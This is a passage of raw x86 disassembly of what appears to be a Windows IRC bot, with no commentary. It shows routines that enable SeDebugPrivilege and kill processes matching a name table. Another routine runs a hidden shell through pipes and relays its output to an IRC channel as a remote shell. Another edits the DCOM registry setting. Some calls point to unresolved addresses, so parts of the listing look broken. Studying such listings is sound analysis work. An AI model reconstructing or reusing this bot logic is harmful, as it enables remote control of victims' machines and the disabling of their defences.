		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A19:				; CODE XREF: sub_4199AC+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A23:				; CODE XREF: sub_4199AC+1Aj
		sub	eax, 7Ch
		jz	short loc_419A50
		sub	eax, 7C8h
		jz	short loc_419A49
		dec	eax
		jz	short loc_419A3F
		dec	eax
		jnz	short loc_419AAD
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A3F:				; CODE XREF: sub_4199AC+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A49:				; CODE XREF: sub_4199AC+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A50:				; CODE XREF: sub_4199AC+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A57:				; CODE XREF: sub_4199AC+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A5E:				; CODE XREF: sub_4199AC+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419A97
		jz	short loc_419A90
		sub	eax, 8ADh
		jz	short loc_419AC2
		dec	eax
		dec	eax
		jz	short loc_419A89
		dec	eax
		jz	short loc_419A82
		dec	eax
		dec	eax
		jnz	short loc_419AAD
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A82:				; CODE XREF: sub_4199AC+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A89:				; CODE XREF: sub_4199AC+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: sub_4199AC+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A97:				; CODE XREF: sub_4199AC+B9j
		sub	eax, 8CAh
		jz	short loc_419AC9
		sub	eax, 17h
		jz	short loc_419AC2
		sub	eax, 25h
		jz	short loc_419ABB
		sub	eax, 29h
		jz	short loc_419AB4


loc_419AAD:				; CODE XREF: sub_4199AC+35j
					; sub_4199AC+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AB4:				; CODE XREF: sub_4199AC+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419ABB:				; CODE XREF: sub_4199AC+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC2:				; CODE XREF: sub_4199AC+C2j
					; sub_4199AC+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC9:				; CODE XREF: sub_4199AC+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419ACE:				; CODE XREF: sub_4199AC+40j
					; sub_4199AC+4Aj ...
		push	offset dword_4DB5E0
		call	sub_41C266
		pop	ecx
		mov	eax, offset dword_4DB5E0
		pop	ecx
		retn
sub_4199AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AE0	proc near		; CODE XREF: sub_401ACD+467Fp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0D4
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26D0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0B7
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB9E4
		test	eax, eax
		jnz	short loc_419B70
		mov	esi, offset dword_4DB3DC
		push	offset unk_43A20C
		push	esi
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_419B99
; ---------------------------------------------------------------------------


loc_419B70:				; CODE XREF: sub_419AE0+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4199AC
		pop	ecx
		mov	esi, offset dword_4DB3DC
		push	eax
		push	offset dword_43A1E0
		push	esi
		call	sub_41C266
		add	esp, 14h


loc_419B99:				; CODE XREF: sub_419AE0+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419AE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B9E	proc near		; CODE XREF: sub_4172C1+45p
					; sub_4172C1+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 273094Dh
		push	eax
		call	dword_4CB9B8
		test	eax, eax
		jnz	short loc_419BBD
		leave
		retn
; ---------------------------------------------------------------------------


loc_419BBD:				; CODE XREF: sub_419B9E+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB990
		test	eax, eax
		jz	short loc_419BFB
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419BE4
		or	[ebp+var_8], 2
		jmp	short loc_419BE8
; ---------------------------------------------------------------------------


loc_419BE4:				; CODE XREF: sub_419B9E+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419BE8:				; CODE XREF: sub_419B9E+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CBA40
		mov	esi, eax


loc_419BFB:				; CODE XREF: sub_419B9E+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2670770h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419B9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C09	proc near		; CODE XREF: sub_401ACD+7770p
					; sub_419E38+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB9F4, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_419E08
		cmp	dword_4CB9D8, ebx
		jz	loc_419E08
		cmp	dword_4CB8E8, ebx
		jz	loc_419E08
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB9F4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_419DFB
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB9D8
		mov	esi, dword_427070
		test	eax, eax
		jz	loc_419DF6
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB8E8
		test	eax, eax
		jz	loc_419DF6
		mov	edi, dword_42708C
		mov	ebx, 1F0FFFh


loc_419CCD:				; CODE XREF: sub_419C09+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_419D34
		mov	[ebp+var_4], offset off_43A238


loc_419CDB:				; CODE XREF: sub_419C09+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2841B88h
		test	eax, eax
		jz	short loc_419D03
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43A298
		jb	short loc_419CDB
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D03:				; CODE XREF: sub_419C09+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419DDC
		push	0
		push	eax
		nop
		call	near ptr 2730250h
		test	eax, eax
		jnz	loc_419DDC


loc_419D2A:				; CODE XREF: sub_419C09+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D34:				; CODE XREF: sub_419C09+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_419DC7
		cmp	[ebp+arg_4], eax
		jz	loc_419DDC
		push	[ebp+var_128]
		push	8
		call	dword_4CB9F4
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_419D87
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB894
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419D8D
		lea	eax, [ebp+var_234]
		jmp	short loc_419D93
; ---------------------------------------------------------------------------


loc_419D87:				; CODE XREF: sub_419C09+15Cj
		push	[ebp+var_128]


loc_419D8D:				; CODE XREF: sub_419C09+174j
		lea	eax, [ebp+var_10C]


loc_419D93:				; CODE XREF: sub_419C09+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		jmp	loc_419D2A
; ---------------------------------------------------------------------------


loc_419DC7:				; CODE XREF: sub_419C09+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419E0F


loc_419DDC:				; CODE XREF: sub_419C09+F5j
					; sub_419C09+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB8E8
		test	eax, eax
		jnz	loc_419CCD
		xor	ebx, ebx


loc_419DF6:				; CODE XREF: sub_419C09+9Dj
					; sub_419C09+B3j
		push	[ebp+var_8]
		call	esi


loc_419DFB:				; CODE XREF: sub_419C09+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx


loc_419E08:				; CODE XREF: sub_419C09+3Aj
					; sub_419C09+46j ...
		xor	eax, eax


loc_419E0A:				; CODE XREF: sub_419C09+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419E0F:				; CODE XREF: sub_419C09+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 2730250h
		nop
		test	eax, eax
		jnz	short loc_419E33
		push	edi
		call	esi
		jmp	short loc_419E08
; ---------------------------------------------------------------------------


loc_419E33:				; CODE XREF: sub_419C09+223j
		push	1
		pop	eax
		jmp	short loc_419E0A
sub_419C09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; DATA XREF: sub_401ACD+2687o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43A438
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_419E97
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419E97:				; CODE XREF: sub_419E38+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419C09
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419EBF
		push	offset unk_43A414
		jmp	short loc_419EC4
; ---------------------------------------------------------------------------


loc_419EBF:				; CODE XREF: sub_419E38+7Ej
		push	offset unk_43A3F0


loc_419EC4:				; CODE XREF: sub_419E38+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_419EF7
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419EF7:				; CODE XREF: sub_419E38+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415D38
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0A80h
		pop	edi
		pop	esi
sub_419E38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F16	proc near		; CODE XREF: sub_401ACD+7712p
					; sub_40B4F5+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 26902E0h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_419F48
		push	0
		push	esi
		call	near ptr 2730250h
		nop
		test	eax, eax
		jnz	short loc_419F48
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2670770h


loc_419F48:				; CODE XREF: sub_419F16+1Aj
					; sub_419F16+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_419F16	endp

; ---------------------------------------------------------------------------
byte_419F4D	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A23435h
		dd 8DE89000h, 0EB02266Fh
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419F6D	proc near		; CODE XREF: sub_419F9D+2Ap
					; sub_419FD5+7Ep ...
		mov	eax, dword_4DBC48
		push	esi
		mov	esi, dword_427070
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F81
		push	eax
		call	esi


loc_419F81:				; CODE XREF: sub_419F6D+Fj
		mov	eax, dword_4DBC50
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F8E
		push	eax
		call	esi


loc_419F8E:				; CODE XREF: sub_419F6D+1Cj
		mov	eax, dword_4DBC44
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F9B
		push	eax
		call	esi


loc_419F9B:				; CODE XREF: sub_419F6D+29j
		pop	esi
		retn
sub_419F6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F9D	proc near		; CODE XREF: sub_401ACD+7475p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DBC4C
		nop
		call	near ptr 2720000h
		test	eax, eax
		jnz	short loc_419FD0
		call	sub_419F6D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419FD0:				; CODE XREF: sub_419F9D+28j
		push	1
		pop	eax
		leave
		retn
sub_419F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD5	proc near		; CODE XREF: sub_41A05C+D3p
					; sub_41A05C+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43DB88
		push	[ebp+arg_4]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A018
		push	7D0h
		nop
		call	near ptr 2680EF8h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41A02F
; ---------------------------------------------------------------------------


loc_41A018:				; CODE XREF: sub_419FD5+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_41A02F:				; CODE XREF: sub_419FD5+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		test	eax, eax
		jg	short loc_41A058
		call	sub_419F6D


loc_41A058:				; CODE XREF: sub_419FD5+7Cj
		xor	eax, eax
		leave
		retn
sub_419FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A05C	proc near		; DATA XREF: sub_41A1B1+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DBC54


loc_41A074:				; CODE XREF: sub_41A05C+79j
					; sub_41A05C+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DBC48
		nop
		call	near ptr 28504F5h
		test	eax, eax
		jz	loc_41A142
		cmp	[ebp+var_4], edi
		jnz	short loc_41A0D7
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DBC44
		nop
		call	near ptr 2850000h
		test	eax, eax
		jz	short loc_41A0CD
		cmp	[ebp+var_8], 103h
		jnz	loc_41A166


loc_41A0CD:				; CODE XREF: sub_41A05C+62j
		push	0Ah
		nop
		call	near ptr 2680EF8h
		jmp	short loc_41A074
; ---------------------------------------------------------------------------


loc_41A0D7:				; CODE XREF: sub_41A05C+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A0EE


loc_41A0DE:				; CODE XREF: sub_41A05C+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A13C
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A0DE


loc_41A0EE:				; CODE XREF: sub_41A05C+80j
		mov	[ebp+var_4], esi


loc_41A0F1:				; CODE XREF: sub_41A05C+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DBC48
		nop
		call	near ptr 271129Ah
		test	eax, eax
		jz	short loc_41A18E
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		add	esp, 0Ch
		jmp	loc_41A074
; ---------------------------------------------------------------------------


loc_41A13C:				; CODE XREF: sub_41A05C+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A0F1
; ---------------------------------------------------------------------------


loc_41A142:				; CODE XREF: sub_41A05C+45j
		push	offset unk_43A4C0
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	1
		nop
		call	near ptr 26F0A80h


loc_41A166:				; CODE XREF: sub_41A05C+6Bj
		call	sub_419F6D
		push	offset unk_43A498
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	near ptr 26F0A80h
		nop


loc_41A18E:				; CODE XREF: sub_41A05C+C3j
		push	offset unk_43A468
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	near ptr 26F0A80h
		nop
sub_41A05C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1B1	proc near		; CODE XREF: sub_401ACD+24AAp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419F6D
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_4346E0
		push	esi
		call	dword_4CBA90
		test	eax, eax
		jz	loc_41A2AB
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_427108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		mov	edi, dword_427104
		push	3
		push	esi
		push	esi
		push	offset dword_4DBC4C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2730320h
		test	eax, eax
		jz	short loc_41A2AB
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43DB88
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 26709E4h
		test	eax, eax
		jnz	short loc_41A2B3


loc_41A2AB:				; CODE XREF: sub_41A1B1+2Fj
					; sub_41A1B1+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41A361
; ---------------------------------------------------------------------------


loc_41A2B3:				; CODE XREF: sub_41A1B1+F8j
		push	[ebp+var_4]
		mov	edi, dword_427070
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DBC48, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DBC50, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DBC44, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DBC88, eax
		jz	short loc_41A2ED
		push	[ebp+arg_4]
		jmp	short loc_41A2EE
; ---------------------------------------------------------------------------


loc_41A2ED:				; CODE XREF: sub_41A1B1+135j
		push	ebx


loc_41A2EE:				; CODE XREF: sub_41A1B1+13Aj
		push	offset dword_4DBC54
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A524
		call	sub_40B3BA
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E918[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41A05C
		push	esi
		push	esi
		nop
		call	near ptr 2690000h
		cmp	eax, esi
		mov	dword_43E924[edi], eax
		jnz	short loc_41A35F
		nop
		call	near ptr 269086Bh
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A4F0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_41A35F:				; CODE XREF: sub_41A1B1+185j
		xor	eax, eax


loc_41A361:				; CODE XREF: sub_41A1B1+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A1B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A366	proc near		; DATA XREF: sub_401ACD+2DC8o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A3AD
		call	sub_41A3C6
		jmp	short loc_41A3B2
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A366+3Ej
		call	sub_41A6EA


loc_41A3B2:				; CODE XREF: sub_41A366+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 26F0A80h
sub_41A366	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3C6	proc near		; CODE XREF: sub_41A366+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CBAA4, edi
		jnz	loc_41A4F8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A451
		mov	ax, word_439298
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A433
		push	offset dword_43A7C0
		jmp	short loc_41A438
; ---------------------------------------------------------------------------


loc_41A433:				; CODE XREF: sub_41A3C6+64j
		push	offset dword_43A7A0


loc_41A438:				; CODE XREF: sub_41A3C6+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A464
; ---------------------------------------------------------------------------


loc_41A451:				; CODE XREF: sub_41A3C6+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A464:				; CODE XREF: sub_41A3C6+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A483
		push	1
		lea	eax, [ebp+var_214]
